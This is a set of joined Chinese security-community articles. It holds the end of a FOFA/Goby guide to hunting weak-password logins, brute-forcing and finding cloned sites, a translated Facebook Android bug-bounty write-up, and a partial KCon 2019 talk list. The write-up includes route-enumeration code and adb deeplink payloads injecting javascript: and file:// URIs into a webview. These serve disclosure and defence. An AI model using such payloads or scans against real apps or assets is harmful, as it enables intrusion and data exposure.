如果需要限定范围只排查自己集团的资产，则将资产范围的规则与探测弱口令资产的规则进行组合即可，语法思路如下：
`（自定义全集团资产搜索规则）&& （body="type=password name=pwd value='123456'" &&
country="CN"）`
**– 高风险漏洞排查**
如果想要对资产进行高风险漏洞扫描，那么光靠 FOFA 是不够的，FOFA 只是在前期信息搜集阶段起到关键作用，这个时候就需要 FOFA 的孪生兄弟 Goby
出来亮相了。
Goby 预置了价值较高的一些漏洞验证 PoC，目前红队版的漏洞数量达到 800+，而社区版只有 326，虽然漏洞数量看起来比较少，但是这八百多的
PoC，都是属于实战化状态的
PoC，能产生实际攻击效果的！而以往的漏扫很多都是基于应用和组件的版本去判断可能存在某个漏洞，这样的误报率较高且不产生实用的价值，在实战化效果上看，Goby
还是更胜一筹。
Goby 的操作也比较简单，只需要将 FOFA 上搜索到的公司资产（域名和 IP 地址）导入
Goby，然后设置想要扫描的漏洞类型，点击开始扫描即可。Goby 已经将漏洞类型进行了分类：如果需要对 SSH、FTP、数据库等资产检测弱口令，则
**可以使用暴力破解的选项** ；如果需要检查现有资产是否存在一些应用或设备的默认口令， **可以选择默认口令检测选项** ；Goby 内置了超过 1000
种设备的预置账号信息，如果想进行全面检测，则 **可以选择全部漏洞** 。
扫描到的漏洞，Goby 还提供了验证手段，直接在 Goby 里就能直接验证此漏洞是否存在。
FOFA+Goby 的组合还有更多的应用场景和玩法等着我们去挖掘，后续我还会给各位分享更多的使用场景，大家一起探讨进步。
### 2.4 假冒网站排查
企业形象是企业文化建设的核心，同时也是企业内外对企业的整体感觉、印象和认知，是企业状况的综合反映，一个良好的企业形象有助于企业提升自己的品牌竞争力。特别是大型企业、上市公司、国企央企对于自己的企业形象是非常在乎的，如果有人假冒他们的名义进行一些不法活动，如售卖假冒伪劣产品，那么将会对他们的企业形象产生负面影响，那么由此带来的损失将不可估量！
如果是想用最简单的办法一键完成仿冒网站拓线，可以参考这篇文章：[《最佳实践：仿冒站点一键自动化拓线（修订版）》](https://mp.weixin.qq.com/s?__biz=MzkyNzIwMzY4OQ==&mid=2247487749&idx=1&sn=7899b893aed0752fbaf77e54fdaa6636&chksm=c22af903f55d7015f70687f26a96ce9e7c73a2c876e2a736ce2b961b574dedbd401db5ca4b68&token=1279310241&lang=zh_CN&scene=21#wechat_redirect)。
接下来我讲讲我自己的常规排查方法：
**– 假冒网站有哪些危害呢？**
发起钓鱼攻击。据资料显示，至少有 60%
的假冒网站是为了用于进行钓鱼攻击，通过几乎一致的网站界面、高度相似的域名来误导受害者以为这是官方网站，获取受害人的信任，然后再以各种社会工程学手段诱导受害者输入账号密码或者其他身份敏感信息。
将流量引流到非法网站。通过利用被仿冒者的品牌影响力，将访问流量牵引至赌博、色情等非法网站，非法谋取暴利。
**– 如何发现假冒网站？**
假冒网站一般是利用网站克隆技术，直接将目标网站原样复制过来，就像使用电脑上的 Ctrl+C
的功能一样，而且克隆技术门槛较低，很多工具都有一键复制功能，只要你输入目标网站的 IP
地址或域名即可。利用这个技术仿冒的网站，会有一个特点，那就是会连目标网站中的 ICP 备案号也会克隆过来。
而 FOFA 是具有查询 ICP 备案号的功能，它会在全网资产的 HTML 正文中去查找 ICP 备案号，并将具有相同备案号的资产显示出来，语法是：
> icp=”京ICP备2005XXXX号”
搜索结果如下图所示，以某公司的备案号为例，在全网中搜索出有 8954
个资产。在国家/地区排名中可以看到这八千多个资产除了分布在国内以外，大部分的资产是分布在海外各个国家。
已知该公司在海外是没有业务的，也没有信息资产托管在海外，由此我们可以判断，分布在海外的这些资产为假冒资产，接下来我们可以验证一下，结合高级语法 `"!="`
将海外资产筛选出来：
> icp=”京ICP备2005XXXX号” && country !=”CN”
从下图中我们可以看出，已经将海外资产筛选出来，有 5544
个资产，而这些资产的域名和标题都是很奇怪的文字和符号，我们随便挑几个网站打开，均可以看到这些网站是克隆该公司的官网主页，但是里面很多内容都是替换为不可描述的内容，或者插入了大量的广告来进行引流。
分布在国内的那些信息资产会不会也存在假冒网站呢？我们使用以下语法将国内资产筛选出来：
> icp=”京ICP备2005XXXX号” && country =”CN”
从下图中可以看出，我们国内资产共有 3410 个，但是自第二条开始，从域名和标题上就能看出，资产并不属于该公司的。
通过观察结果，我们发现可以通过构造关键字的方法，把属于公司的资产筛查出来，语法思路如下：
> (icp=”京ICP备2005XXXX号” && country=”CN”) && (title=”关键字1” || title=”关键字2”)
经过人工核查，这 402 条资产均属于公司资产。综上所述，我们可以计算出由 ICP 备案号探测到的假冒网站资产占资产总数的 **95.5%**
！这个数据是比较惊人的，证明我们仍需加强网络空间里仿冒网站的打击治理和防治工作。
**– 如何防护？**
为了保护企业员工免受钓鱼攻击，我们可以将上述步骤排查出来的资产列表在互联网出口处加入黑名单进行管理，禁止访问这些地址。同时，我们把这些假冒网站列表提供给有关部门，进行举报。
## ▌三、结束语
FOFA 是目前为止我用过的最好用的网络空间测绘平台，它的优势是 **贴合攻防实战的需求和视角，并且可由用户高度自定义规则**
，用户可以根据应用场景需求来定义规则，确实在工作上帮我节省了不少精力，提高了效率。
值得一提的是，FOFA+Goby 的组合效果是 **1+1
>2**，从暴露面梳理、漏洞资产发现到漏洞验证、漏洞利用等方面都发挥了很强的力量，这个组合还有很多应用场景和潜力等着我们去挖掘！
最后感谢 FOFA 小哥 Laskeko 给我耐心的答疑和技巧分享！
## ▌End
欢迎各位白帽师傅们加入我们的社区大家庭，一起交流技术、生活趣事、奇闻八卦，结交无数白帽好友。
也欢迎投稿到 FOFA，审核通过后可加 5000-10000 社区积分哦，我们在积分商城准备了好礼，快来加入微信群体验吧~~~
微信群：扫描下方二维码，加入 FOFA 社群！获取更多一手信息！ | 社区文章 |
# Facebook安卓客户端任意Javascript代码执行漏洞分析
##### 译文声明
本文是翻译文章，文章来源：ash-king.co.uk
原文地址：<https://ash-king.co.uk/facebook-bug-bounty-09-18.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
在2018年6月，Facebook启动漏洞赏金计划期间，我们发现Facebook的安卓客户端中使用的webview组件存在漏洞。该漏洞允许攻击者仅需单击一个链接，即可在Android应用程序中执行任意JavaScript。
在我们深入探寻原因之前，我在3个不同的安卓设备上成功进行了漏洞利用，最终发现问题的原因在于webview组件，而并非是这些安卓设备。在与Facebook安全团队反复沟通之后，他们很快就修复了这一漏洞，并且我们通过漏洞赏金计划得到了8500美元的奖励。
## 侦查阶段
对于赏金猎人来说，要成功发现一些关键漏洞，最重要的步骤之一就是侦查（Recon）。了解我们要寻找漏洞的目标尤为关键，对目标的了解可以帮助我们将精力放在应该重点关注的地方。针对于Facebook的Android客户端，我主要关注一件事，那就是深度链接（Deeplinks）。
深度链接是另一种类型的超链接，可以跳转到应用程序中的特定活动。例如，在Android设备上如果单击 fb://profile/1395634905
，就能够直接启动Facebook应用程序，并跳转到我的Facebook个人资料页面。
我决定查看APK文件，并寻找其中的明文文本。因此，我在WinRAR中打开了最新的APK包，并在其中搜索字符串“ fb:// ”，之后找到了一个文件
assets/Bundle-fb4.js.hbc 。在这个文件中，有多个深度链接，其中包括
fb://marketplace_product_details_from_for_sale_item_id 和 fb://adsmanager
，但这两个链接没有什么可以利用的地方。
然而，我们发现有一个深度链接（ fb://ama/
）非常有用，尽管URL并不长，但在WinRAR中搜索“ama”后，找到了一个名为react_native_routes.json的文件，这简直是一个金矿，因为这个文件中包含了Facebook可以处理的大部分深度链接。
借助上图，我们可以生成一个有效的Facebook深度链接：
fb://ama/?entryPoint={STRING}&fb_hidesTabBar={STRING}&presentationMethod={STRING}&targetURI={STRING}
这个文件一共有12000多行，因此我需要一些自动化工具，来帮助我收集所有有效的链接。我迅速编写了两个小程序，一个用于将JSON转换为数据库结构，另一个用于从数据库创建链接。我使用了那个数据库路径，因为之后需要对数据进行操作。
//Moving JSON into a database structure
Imports System.Data.SQLite
Imports System.IO
Imports Newtonsoft.Json.Linq
Module Module1
Sub Main(args() As String)
ProcessFile("react_native_routes.json")
End Sub
Public Sub ProcessFile(InputFile As String)
Dim JSONText = File.ReadAllText(InputFile)
If JSONText.StartsWith("[") Then
'Make valid JSON
JSONText = "{'results' : " & JSONText & " }"
End If
Dim json As JObject = JObject.Parse(JSONText)
Dim arr As JArray = json.SelectToken("results")
For i = 0 To arr.Count - 1
Try
Dim RouteName As String = arr(i).SelectToken("name")
Dim RoutePath As String = arr(i).SelectToken("path")
Dim paramJSON As JObject = arr(i).SelectToken("paramDefinitions")
Dim RouteParamateCount As Integer = arr(i).SelectToken("paramDefinitions").Count
If RouteParamateCount <> 0 Then
Dim o As Integer = 0
Dim RouteID As Integer = insertRoute(RouteName, RoutePath, RouteParamateCount)
For Each item As JProperty In arr(i).SelectToken("paramDefinitions")
o += 1
Dim ParamName = item.Name
Dim ParamType = item.Value("type").ToString
Dim ParamRequired = item.Value("required").ToString
insertParamater(ParamName, ParamType, ParamRequired, o, RouteID)
Next
End If
Catch ex As Exception
End Try
Next
End Sub
Public Function insertRoute(RouteName As String, RoutePath As String,
RouteParamaterCount As Integer) As Integer
Dim con As New SQLiteConnection("Data Source=FBNativeRoutes.db")
con.Open()
Dim sql As String = "INSERT INTO RouteTable
(RouteName, RoutePath, RouteParamaterCount, RouteAddedDateTime)
VALUES
(@RN, @RP, @RPC, @RAD)"
Dim cmd As New SQLiteCommand(sql, con)
cmd.Parameters.Add("RN", SqlDbType.VarChar).Value = RouteName
cmd.Parameters.Add("RP", SqlDbType.VarChar).Value = RoutePath
cmd.Parameters.Add("RPC", SqlDbType.Int).Value = RouteParamaterCount
cmd.Parameters.Add("RAD", SqlDbType.Int).Value = Date.Now.Ticks
cmd.ExecuteNonQuery()
sql = "SELECT last_insert_rowid()"
cmd = New SQLiteCommand(sql, con)
insertRoute = cmd.ExecuteScalar()
con.Close()
End Function
Public Sub insertParamater(ParamaterName As String, ParamaterType As String, ParamaterRequired As Boolean,
ParamaterOrderIndex As Integer, RouteID As Integer)
Dim PR As Integer = 0
If ParamaterRequired = True Then
PR = 1
Else
PR = 0
End If
Dim con As New SQLiteConnection("Data Source=FBNativeRoutes.db")
con.Open()
Dim sql As String = "INSERT INTO ParamaterTable
(ParamaterName, ParamaterType, ParamaterRequired, ParamaterOrderIndex, RoutesID)
VALUES
(@PN, @PT, @PR, @POI, @RID)"
Dim cmd As New SQLiteCommand(sql, con)
cmd.Parameters.Add("PN", SqlDbType.VarChar).Value = ParamaterName
cmd.Parameters.Add("PT", SqlDbType.VarChar).Value = ParamaterType
cmd.Parameters.Add("PR", SqlDbType.Int).Value = ParamaterRequired
cmd.Parameters.Add("POI", SqlDbType.Int).Value = PR
cmd.Parameters.Add("RID", SqlDbType.Int).Value = RouteID
cmd.ExecuteNonQuery()
con.Close()
End Sub
End Module
上面的代码（VB.NET）会将JSON的每个“path”解析成RouteTable中自己的条目，包括名称和参数的数量。与实际的参数一样，它们将存储在ParamterTable中，其中存储参数类型、名称、索引、该参数是否为必填，以及返回路径的链接。
下面的代码负责处理SQLite数据库，并提供命令行列表，以借助ADB在Android设备上执行深度链接。
Imports System.Data.SQLite
Imports System.IO
Module Module1
Sub Main(args() As String)
Dim FilePath As String = Date.Now.ToString("ddMMyyHHmm") & ".txt"
Dim FBLink As String = ""
Dim con As New SQLiteConnection("Data Source=FBNativeRoutes.db")
con.Open()
Dim sql As String = "SELECT RouteID, RouteName, RoutePath FROM RouteTable"
Dim cmd As New SQLiteCommand(sql, con)
Dim reader As SQLiteDataReader = cmd.ExecuteReader()
If reader.HasRows Then
Using sw As StreamWriter = New StreamWriter(FilePath)
While reader.Read
FBLink = BuildLink(reader("RouteID"), reader("RouteName"), reader("RoutePath"))
FBLink = "adb shell am start -a ""android.intent.action.VIEW"" -d """ & FBLink & """"
sw.WriteLine(FBLink)
End While
End Using
End If
reader.Close()
con.Close()
End Sub
Public Function BuildLink(RouteID As Integer, RouteName As String, RoutePath As String) As String
BuildLink = $"fb:/{RoutePath}/"
Dim i As Integer = 0
Dim con As New SQLiteConnection("Data Source=FBNativeRoutes.db")
con.Open()
Dim sql As String = "SELECT ParamaterName, ParamaterType, ParamaterRequired FROM ParamaterTable
WHERE RoutesID = @RID"
Dim cmd As New SQLiteCommand(sql, con)
cmd.Parameters.Add("RID", SqlDbType.Int).Value = RouteID
Dim reader As SQLiteDataReader = cmd.ExecuteReader()
If reader.HasRows Then
While reader.Read()
If i = 0 Then
BuildLink &= "?" & reader("ParamaterName") & "=" & getValidValue(reader("ParamaterType"))
Else
BuildLink &= "&" & reader("ParamaterName") & "=" & getValidValue(reader("ParamaterType"))
End If
i += 1
End While
End If
reader.Close()
con.Close()
End Function
Public Function getValidValue(ParamaterType As String) As String
Select Case ParamaterType
Case "String"
Return "{STRING}"
Case "Int"
Return "{INT}"
Case "Boolean"
Return "{BOOLEAN}"
Case Else
Return "{STRING}"
End Select
End Function
End Module
以AMA深度链接为例，解析后的终端大致如下：
adb shell am start -a "android.intent.action.VIEW" -d "fb://ama/?entryPoint={STRING}&fb_hidesTabBar={STRING}&presentationMethod={STRING}&targetURI={STRING}"
这样一来，我就能通过命令行打开 fb:// url ，使我检查每个URL的过程比之前快了一万倍。
## 漏洞分析
现在，我们有一个包含364个命令行的列表，是时候开始暴力破解了，我们在这里要重点关注获得了什么样的响应。经过尝试，我们发现了一些很有趣的响应内容，但最引人注意的是下面这三个：
adb shell am start -a "android.intent.action.VIEW" -d "fb://payments_add_paypal/?url={STRING}"
adb shell am start -a "android.intent.action.VIEW" -d "fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl={STRING}"
adb shell am start -a "android.intent.action.VIEW" -d "fb://ads_payments_prepay_webview/?account={STRING}&contextID={STRING}&paymentID={STRING}&url={STRING}&originRootTag={INTEGER}"
这三个深度链接都有一个共同点，就是URL参数。
所以，考虑到参数需要提供一个URL，我就提供它想要的内容，因此构造了第一个负载：
adb shell am start -a "android.intent.action.VIEW" -d "fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl=javascript:confirm('https://facebook.com/Ashley.King.UK')"
结果：
成功！我们发现了第一个漏洞——一个没有经过严格校验的重定向。Facebook认可SSRF和重定向这样的漏洞，但并不能得到太高的评级，获得的奖励也大概是在500美元左右。
接下来，我们继续尝试，看看能够利用这个地方做些什么。假如我们使用JavaScript URI方案而不是http或https呢？此外，我可不可以读取本地文件？
adb shell am start -a "android.intent.action.VIEW" -d "fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl=javascript:confirm('https://facebook.com/Ashley.King.UK')"
adb shell am start -a "android.intent.action.VIEW" -d "fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl=file:///sdcard/CDAInfo.txt"
出乎我的意料，上面的两次尝试都成功了！
在此之后，我还花费了数个小时，用来进一步寻找漏洞，并寻找这个漏洞的进一步利用方式，但都没有取得更多的进展。因为我是在进行黑盒测试，没有源代码的情况下一切都像是盲人摸象，我认为我不能再继续纠结下去，于是向Facebook提交了所发现的漏洞。
## 时间节点
2018年3月30日 报告漏洞
2018年4月4日 得到Facebook首次反馈
2018年4月13日 Facebook修复该漏洞
2018年5月16日 收到奖金
## 总结
最后，用Facebook安全团队Lukas的回复内容作为总结：
根据你发现的漏洞，我们发现，可以从任何页面调用这些深度链接，这些网页自身的影响非常有限。这里最大的问题就是UI中的本地文件泄露，需要本地访问设备才能得到文件列表。
但是，我们在对WebViews的代码进行审计的过程中，发现了一些其他问题。这些问题可能与你报告的漏洞相关。漏洞产生原因与WebView的实际配置有关。该漏洞导致攻击者可能有权调用应用程序的某些内部端点，并访问敏感的HTML5
API。
根据我们的赏金政策，我们根据最高的潜在安全风险确定奖金。由于我们在内部调查中发现了几个更深层次的严重问题，我们将以此为标准发放奖励。 | 社区文章 |
2019 KCon 黑客大会在经过首日高质量的闭门培训，以及为期两天的精彩议题分享后，已于8月25日圆满落幕。
应各位参会者的要求，并通过会务组与演讲者沟通取得同意后，现在将公布18大议题中的15个议题PPT！
## APT 攻守道
**演讲者：**
何艺，15年甲方安全经验，2004年-2011年任网络安全组长，负责国家信息安全中心全国网络安全保障工作，11年入职完美世界，现任高级安全总监，负责完美世界集团的安全工作，从零构建了整个完美的安全架构，经历过多次
APT 对抗，做过黑产溯源打击。关注安全架构、安全防护、入侵检测、零信任模型和 APT 对抗等领域。在零信任架构、安全平台设计、安全自动化以及 APT
事件分析和溯源上有较多经验，在多个安全会议上做过分享。
**议题介绍：**
游戏行业是个宝库，上上下下的资源都可以被用来获利，是被黑产重点关照的领域，包括 APT 的行动。本次分享主要从我们遇到的几次真实的 APT
攻击谈起，进而衍生到针对这些挑战我们如何去做整体防护，以及从16年开始建设的零信任架构落地，再到通过平台化的思想去同 APT 对抗的一些思路和过程。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2019/24%E6%97%A5/APT%20%E6%94%BB%E5%AE%88%E9%81%93.pdf
"【PPT下载】")
* * *
## IoT 安全——边信道实战
**演讲者：**
Kevin2600，独立安全研究员，曾就职于飞塔 (Fortinet)
等国际安全公司，多年来专注无线电和嵌入式系统安全研究，曾在国内著名安全网站诸如乌云、阿里先知等发表相关技术文章，以及
DEFCON、BSIDES、OZSECCON、先知白帽会、KCON、XCON 等国内外安全会议发表技术演讲。
**议题介绍：**
随着物联网厂商在安全防御上的提升，使得传统攻击无法奏效，这给安全研究带来了更高的挑战。边信道攻击作为一种剑走偏锋的攻击方式，往往起到出奇制胜的效果。本议题将通过实用案例来介绍
Side-Channel 在硬件设备攻击中的强大威力，并希望给安全研究人员上引入新的攻击思路。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2019/24%E6%97%A5/IOT%E5%AE%89%E5%85%A8%20-%20%E6%B5%8B%E4%BF%A1%E9%81%93%E5%AE%9E%E6%88%98.pdf
"【PPT下载】")
* * *
## Java 生态圈沙箱逃逸实战
**演讲者：**
廖新喜( xxlegend )，原绿盟科技安全研究经理，现快手资深安全工程师，8年安全攻防经验。擅长代码审计，Web
漏洞挖掘，拥有丰富的代码审计经验。做过三年开发，先后担任绿盟科技极光扫描器的开发和开发代表，目前专注于 Web 漏洞挖掘，尤其是 Java
反序列化漏洞，曾向 RedHat 、 Apache 、 Amazon 、 Weblogic 和阿里提交多份 RCE 级别漏洞报告，被誉为国内
Weblogic 漏洞挖掘的引导者。2015年在 Pycon 大会上分享 Python 安全编码；2016年网络安全周接受央视专访，《谁动了我的 VIP
账号？》；2017年在看雪安全开发者峰会分享《 Java Json 反序列化之殇》；2018年在阿里云先知大会分享《 Java 反序列化实战》。
**议题介绍：**
沙箱作为纵深防御的最后一道屏障，在云安全时代显得尤为重要。在一些重要框架和应用中，越来越多的涉及到沙箱技术，漏洞挖掘方面最典型的莫过于 Struts2
沙箱，其一系列漏洞本质也是一次次的沙箱绕过，产品建设方面主要是现如今的云沙箱环境，如何突破沙箱显得尤为关键。
本议题分享的是如何绕过 Java 生态圈的沙箱，目标研究对象是 Java
系语言框架。从一些经典案例分享总结沙箱突破沙箱的思路，希望给漏洞挖掘和产品建设的同行带来思考。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2019/24%E6%97%A5/Java%E7%94%9F%E6%80%81%E5%9C%88%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%AE%9E%E6%88%98.pdf
"【PPT下载】")
* * *
## macOS 从运行库劫持到内核提权
**演讲者：**
周智，蚂蚁金服光年安全实验室成员，前 ZoomEye 研发和长亭安全研究成员。研究方向包括多种桌面和移动平台，特别是 macOS 和 iOS，
提交过多个可利用高危逻辑漏洞。最早公开对 SQLite3 的远程攻击面利用，启发后续多个团队的研究。获得微软、苹果、Adobe、VMware
等厂商的公告致谢。在 BlackHat USA, XDEF, HITBAms, TyphoonCon 等会议发表过成果。
**议题介绍：**
本议题介绍一种用户态特权可执行文件攻击 XNU 的攻击面，仅靠用户态逻辑漏洞，不受通用缓解的限制，完全绕过 SIP 和 SKEL 实现 100%
稳定内核无签名任意代码执行。有趣的是，原本作为安全机制的沙箱在链条中反而变成了一个漏洞利用的关键手段。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2019/24%E6%97%A5/macOS%20%E4%BB%8E%E8%BF%90%E8%A1%8C%E5%BA%93%E5%8A%AB%E6%8C%81%E5%88%B0%E5%86%85%E6%A0%B8%E6%8F%90%E6%9D%83.pdf
"【PPT下载】")
* * *
## 公有云SDN的安全风险与加固
**演讲者：**
杨韬（stannisyang），腾讯安全平台部高级安全工程师，主要研究方向为新领域安全预研与数据保护策略。
**议题介绍：**
SDN 是公有云的基础，实现了租户隔离、虚拟子网等基础功能，还可提供 VPN 、专线对接等增值网络服务。安全的 SDN
架构对公有云的稳定运维、创新服务至关重要。
议题将首先介绍公有云 SDN 的部分实现，了解公有云的哪些功能特性依赖于 SDN ，之后针对其中一些功能特性展开讨论安全风险与实战经验，最后总结公有云
SDN 安全应有的设计原则与实践做法。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2019/24%E6%97%A5/%E5%85%AC%E6%9C%89%E4%BA%91SDN%E7%9A%84%E5%AE%89%E5%85%A8%E9%A3%8E%E9%99%A9%E4%B8%8E%E5%8A%A0%E5%9B%BA.pdf
"【PPT下载】")
* * *
## 基于符号执行的反混淆方法研究
**演讲者：**
糜波，现任滴滴出行信息安全工程师。拥有十三年的 IT 从业经验，从事过 PC
端和移动端的工程研发、逆向分析和安全研究的工作。在移动安全领域，有自己的理解和沉淀。
**议题介绍：**
基于开源代码的逻辑混淆给逆向分析工作带来了极大的阻碍，如何消除混淆，还原程序的原始逻辑，是一个需要解决的问题。混淆和反混淆，作为安全攻防的双方，都有必要深入研究。作者基于符号执行引擎反混淆进行了一些尝试，分享给大家。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2019/24%E6%97%A5/%E5%9F%BA%E4%BA%8E%E7%AC%A6%E5%8F%B7%E6%89%A7%E8%A1%8C%E7%9A%84%E5%8F%8D%E6%B7%B7%E6%B7%86%E6%96%B9%E6%B3%95%E7%A0%94%E7%A9%B6.pdf
"【PPT下载】")
* * *
## 消灭Flash，彻底消除它 — 一份关于 Flash 攻击途径的全面研究报告
**演讲者：**
Haifei Li：安全漏洞研究员，目前就职于 McAfee 加拿大。他的主要研究方向是 Windows 应用层，涉及领域包括
Office，Flash，PDF 和 Windows COM 等，尤其对自动化分析黑盒程序的方法论和实践（非 fuzzing ）感兴趣。由于对 Office
"Moniker" 漏洞的发现和研究，他于2017年度获得 Pwnie Awards。
Chong
Xu：美国杜克大学网络及安全技术博士，现任迈克菲高级总监，领导入侵防御团队的研发。他致力于入侵及防御技术、威胁情报的研究及在此基础上的创新。他的团队进行漏洞分析、恶意程序分析、僵尸网络检测及
APT 检测,并且将安全内容和创新性检测防护决方案提供给迈克菲的网络 IPS、 主机 IPS、沙箱等产品及迈克菲全球威胁情报当中。
**议题介绍：**
长期以来基于 Flash 的安全威胁一直都是安全界的一个主要课题，尽管 Adobe 自2015年起就开始积极地针对 Flash
漏洞利用进行缓解，但在过去十多年中，我们仍见证过很多的关于 Flash 的漏洞、利用程序（exploits）以及利用未公开漏洞（zero-day）实施的攻击。
然而，有一个问题始终没有被深入讨论过，这就是 Flash 攻击的途径。在这个议题中，我们将广泛并深入地探讨 Flash
在各种流行的应用程序环境中的攻击途径、各厂商为限制 Flash
攻击途径所作的努力、其演变和影响。此外，我们将讨论厂商的这些措施的不足或缺陷，其中包括已公开但仍有必要强调的、和一些我们自己发现还未曾公开的。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2019/24%E6%97%A5/%E6%B6%88%E7%81%ADFlash%EF%BC%8C%E5%BD%BB%E5%BA%95%E6%B6%88%E9%99%A4%E5%AE%83.pdf
"【PPT下载】")
* * *
## 4G LTE 小基站破解与中间人攻击
**演讲者：**
Seeker，IT 老兵，网络安全专家，连续创业失败的创业导师，伪天使投资人，某不知名私立大学创办人+校长。二十多年以来， Seeker
老师主要活跃于创业圈，创投圈和教育圈，致力于通过创新创业来建设世界，改变世界。业余时间， Seeker
老师喜欢研究攻击性技术，希望通过保持足够的破坏能力来维护世界和平。
**议题介绍：**
介绍对4G LTE 接入网（ RAN ）的最新安全研究。接入网包含基站（ eNodeB ）和回传网（ Backhaul
）。本次从实践角度介绍两个蜂窝移动通信网的安全薄弱环节：一是基站，特别是小基站（ Small Cell
）易于物理接触，且系统安全加固较弱，容易被破解。作为验证，演讲者 Seeker 破解了所有能获得的十几种 Pico Cell 和 Femto Cell
；二是回传网，超过 80% 的回传网没有使用 IPSec 保护，信令和用户数据被明文传输，从而容易被侦听和中间人攻击，即使使用 IPSec
保护，如果基站被破解，仍然能被黑客侦听和中间人攻击。作为验证，演讲者 Seeker 编写了在回程网上的中间人攻击程序。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2019/25%E6%97%A5/4G:LTE%E5%B0%8F%E5%9F%BA%E7%AB%99%E7%A0%B4%E8%A7%A3%E4%B8%8E%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB.pdf
"【PPT下载】")
* * *
## APT检测设备的扩展研究--甲方的最佳自我实践
**演讲者：**
朱学文（Ju Zhu），目前就职于美团（高级安全研究员），有着9+年的安全研究经验，其中7+年主要从事高级威胁的研究，包括0Day、nDay
和漏洞挖掘。他一直致力于使用自动化系统来 Hunt 野外的高级威胁，曾多次获得 CVE，且受到 Google、Apple、Facebook
等厂商的致谢，也多次作为 Speaker 受邀参加 BlackHat、CodeBlue、CSS 等国内外的顶级安全会议。
**议题介绍：**
对于大多数甲方公司来说，一般都会采购相关 APT 检测设备来进行边界防护和内网审计，其中动态沙箱和蜜罐是最主要的组成部分。
事实上，从主流的几个厂商来看，他们的产品针对 Windows 平台，其检测效果和设备性能几乎无懈可击，而对于更多平台的支持，尤其是移动平台、IoT
等方向却不能满足当前实际的发展需求。
比如很多甲方公司的开发人员事实上都在使用 MacOS 来进行程序编写，使用 iPhone
来进行邮件收发，而这些设备都将通过很多方式直接接入内网，那必然会对内网造成一定的风险威胁。就这些设备的内网审计，厂商们的 APT
检测设备显然是不足的，或者说是空白。所以，我们尝试做了一些扩展研究，并结合我们的实际情况，增加了厂商没有，而我们又必须接入的相关设备的动态沙箱和蜜罐，不过，这些都需要从底层硬件开始，做一些全新的虚拟化设计、开发和运维的工作，才能确保扩展设备的防御效果、性能和方便的部署维护。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2019/25%E6%97%A5/APT%E6%A3%80%E6%B5%8B%E8%AE%BE%E5%A4%87%E7%9A%84%E6%89%A9%E5%B1%95%E7%A0%94%E7%A9%B6.pdf
"【PPT下载】")
* * *
## PHP 动态特性的捕捉与逃逸
**演讲者：**
phith0n，长亭科技安全开发与研究员。长期从事开发与安全研究工作，熟悉多种语言开发与合作流程，擅长从代码中发现安全漏洞，多次提出基于现代化开发框架、开发流程的新型攻击面。开源项目
Vulhub 创始人，Vulhub 项目已活跃更新超过2年，被各大厂商使用。
**议题介绍：**
PHP 是一门灵活的语言，其中包含了很多“黑魔法”，灵活地语法带来了很多便利也带来很多安全问题。
一段代码，其使用变量作为参数，且改变变量的值将可能导致这段代码发生功能上的变化，我将这种现象成为“PHP 的动态特性”。所有的一句话木马，都含有这个特性，而
Chip 是我开发的一个捕捉 PHP 中所有动态特性的工具。本议题分享我开发 Chip 时遇到的趣事，与我自己是如何与我自己对抗的。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2019/25%E6%97%A5/PHP%E5%8A%A8%E6%80%81%E7%89%B9%E6%80%A7%E7%9A%84%E6%8D%95%E6%8D%89%E4%B8%8E%E9%80%83%E9%80%B8.pdf
"【PPT下载】")
* * *
## 云环境自动化入侵溯源实战
**演讲者：**
徐越(cdxy)，阿里云安全工程师，主要研究方向为安全数据分析与云环境攻防技术。
**议题介绍：**
随着云计算的大规模普及，公有云的安全趋势已逐渐从"监控已知漏洞"发展为"感知未知威胁"。一方面，客户的自研代码和独特的业务场景带来了个性化的攻击面；另一方面，黑灰产的武器库日趋成熟，其中不乏未披露的漏洞攻击手段(0day)。传统漏洞情报驱动的应急响应已经不能适应云环境复杂的攻击形态，如何在入侵后自动定位攻击源以及入侵原因，已经成为云环境威胁检测技术的重中之重。
本技术正是基于上述背景，结合多种云产品日志，通过大数据分析引擎对数据进行加工、聚合、可视化，形成攻击者的入侵链路图。该方案完全自动化，不依赖漏洞先验知识，具有0day识别能力。便于安全运营人员在最短时间内定位入侵原因、制定应急决策。
在本议题中，我们首先通过数据描述公有云威胁形态，之后将阐述基于统计和实时图计算的自动化入侵溯源方案，并通过真实案例展示其效果。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2019/25%E6%97%A5/%E4%BA%91%E7%8E%AF%E5%A2%83%E8%87%AA%E5%8A%A8%E5%8C%96%E5%85%A5%E4%BE%B5%E6%BA%AF%E6%BA%90%E5%AE%9E%E6%88%98.pdf
"【PPT下载】")
* * *
## 如何去挖掘物联网环境中的高级恶意软件威胁
**演讲者：**
叶根深（b1t），360网络安全研究员。就职于360网络安全研究院，负责开发 Anglerfish
蜜罐，持续挖掘最新的高级恶意软件威胁，长期从事网络安全开发和研究工作。他的研究范围包括 Botnet，Honeypot，Pentest 和 Sandbox
等领域。他率先发现并公开披露多个高级 IoT Botnet 家族，其中有 IoT_reaper, Satori, Mushtik, GhostDNS
等，同时还发现20多个新的 IoT Botnet 家族，其中也有涉及 IoT 特马。
**议题介绍：**
物联网安全仍然是一个新兴的安全战场，这个行业也还处于发展期，尚未形成完善的安全体系。然而各类 IoT
漏洞/漏洞利用代码频出，吸引大量的攻击者加入到这个战场。目前物联网生态时时刻刻都在面临各类安全威胁，包括信息泄漏威胁，设备被劫持威胁，Botnet
威胁，APT 威胁等。议题作者设计和开发了 Anglerfish
